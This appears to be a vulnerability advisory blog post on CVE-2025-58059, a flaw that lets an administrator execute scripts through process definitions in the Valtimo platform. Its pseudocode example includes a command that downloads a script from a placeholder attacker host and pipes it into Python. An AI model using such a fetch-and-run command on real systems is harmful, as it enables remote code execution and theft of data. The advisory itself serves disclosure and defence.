{"id":71259,"date":"2025-09-04T14:46:29","date_gmt":"2025-09-04T14:46:29","guid":{"rendered":""},"modified":"2025-09-29T00:45:58","modified_gmt":"2025-09-29T06:45:58","slug":"cve-2025-58059-critical-vulnerability-in-valtimo-s-business-process-automation-platform","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-58059-critical-vulnerability-in-valtimo-s-business-process-automation-platform\/","title":{"rendered":"CVE-2025-58059: Critical Vulnerability in Valtimo’s Business Process Automation Platform<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The cybersecurity community has recently witnessed the publication of a critical vulnerability labelled as CVE-2025-58059. This security issue affects Valtimo, a popular platform for Business Process Automation. The vulnerability is significant due to the potential<\/a> it offers for system compromise or data leakage, particularly for organizations heavily reliant on Valtimo’s platform for their business operations. The flaw affects versions before 12.16.0.RELEASE, and from 13.0.0.RELEASE to before 13.1.2.RELEASE. Timely response and remediation are highly advised to avoid the significant repercussions associated with a potential breach.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-58059
\nSeverity: Critical (9.1 based on CVSS scoring)
\nAttack Vector: Network
\nPrivileges Required: Admin
\nUser Interaction: Required
\nImpact: Potential system<\/a> compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Valtimo | Before 12.16.0.RELEASE
\nValtimo | 13.0.0.RELEASE to before 13.1.2.RELEASE<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit hinges on the ability of an admin to create, modify, and execute process definitions. This can potentially allow the execution of arbitrary<\/a> scripts leading to several high-risk outcomes. These include running executables on the application host<\/a>, extracting sensitive application data, and inspecting the host environment or application properties, including Spring beans. The exploit requires the attacker to be logged in as an admin and to have a fundamental understanding of running scripts via the Camunda\/Operator engine<\/a>.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a
\nconceptual<\/strong>
\n example of how the vulnerability might be exploited. This is represented in pseudocode for illustrative purposes:<\/p>\n

# Login as admin\nlogin('admin', 'admin_password')\n# Create a process definition with malicious script\ncreate_process_definition(\"\"\"\nimport os\nos.system('curl http:\/\/evil.com\/steal_data.py | python')\n\"\"\")\n# Execute the process definition\nexecute_process_definition()<\/code><\/pre>\n
This pseudocode example represents a malicious script embedded within a process definition. This script, when executed, would pull down a second script from a hostile server and execute it, potentially leading to data<\/a> exfiltration or other malicious activities. This illustrates the potential severity of the CVE-2025-58059 vulnerability<\/a>. A real exploit may be more complex and less obvious.<\/p>\n","protected":false},"excerpt":{"rendered":"
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